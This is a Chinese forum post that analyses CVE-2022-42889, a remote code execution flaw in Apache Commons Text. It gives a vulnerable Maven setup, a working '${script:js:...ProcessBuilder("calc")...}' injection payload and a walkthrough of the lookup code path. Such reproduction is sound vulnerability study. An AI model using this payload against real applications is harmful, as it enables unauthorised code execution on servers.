【CVE-2022-42889】Apache Commons Text RCE

打印 上一主题 下一主题

主题 899|帖子 899|积分 2697

介绍


  组件介绍

Apache Commons Text组件通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,Demo举例:
  1. import org.apache.commons.text.StringSubstitutor;
  2. class Demo{
  3.     public static void main(String[] args){
  4.         String resolvedString = StringSubstitutor
  5.             .replaceSystemProperties("You are running with java.version = ${java.version} and os.name = ${os.name}.");
  6.         System.out.println(resolvedString);
  7.         final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
  8.         interpolator.setEnableSubstitutionInVariables(true); // Allows for nested $'s.
  9.         final String text = interpolator.replace("Base64 Decoder:${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
  10.                                                  + "Date:                  ${date:yyyy-MM-dd}\n" + "DNS:                   ${dns:address|apache.org}\n"
  11.                                                  + "Environment Variable:  ${env:USERNAME}\n"
  12.                                                  + "Script:                ${script:javascript:3 + 4}\n" + "System Property:       ${sys:user.dir}\n");
  13.         System.out.println(text);
  14.     }
  15. }
复制代码
输出:

 

一般用于数据库查询前的语句替换,或者页面输出的时候替换。
  漏洞介绍

 
环境搭建

idea创建Maven项目,导入如下依赖:
  1. <dependencies>
  2.   <dependency>
  3.     <groupId>org.apache.commons</groupId>
  4.     <artifactId>commons-configuration2</artifactId>
  5.     <version>2.7</version>
  6.   </dependency>
  7.   <dependency>
  8.     <groupId>org.apache.commons</groupId>
  9.     <artifactId>commons-text</artifactId>
  10.     <version>1.9</version>
  11.   </dependency>
  12.   <dependency>
  13.     <groupId>org.apache.commons</groupId>
  14.     <artifactId>commons-lang3</artifactId>
  15.     <version>3.12.0</version>
  16.   </dependency>
  17. </dependencies>
复制代码
 

测试代码:
  1. package org.test;
  2. import org.apache.commons.text.StringSubstitutor;
  3. public class Main {
  4.     public static void main(String[] args) {
  5.         StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
  6.         //        String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder("calc").start()}");
  7.         String payload = "${script:js:new java.lang.ProcessBuilder("calc").start()}";
  8.         interpolator.replace(payload);
  9.     }
  10. }
复制代码
  复现


 运行测试代码

 

只有当软件使用StringSubstitutor API而没有正确处理任何不受信任的输入时才会受到攻击。apache推荐的解决方案是“对任何不可信任的输入进行适当的验证和过滤”。
  分析


 
 
在org.apache.commons.text.lookup.InterpolatorStringLookup#lookup中下两个断点,这里lookup方法提取”:“后的部分作为 prefix 值,然后根据 stringLookupMap 提取其对应的 lookup 实例化对象。

StringSubstitutor.replace方法把${}中的字符截取出来进行下一步处理


 

传到lookup方法,获取到prefix值为script

 

根据 stringLookupMap 提取其对应的 lookup 实例化对象,最后通过调用ScriptEngineManager执行代码。
 
 

 

  参考链接
https://mp.weixin.qq.com/s/5B8MjKNB9UrsV6D-dKwTng
https://www.cnblogs.com/wh4am1/p/16795499.html
https://commons.apache.org/proper/commons-text/userguide.html

  
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户云卷云舒

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表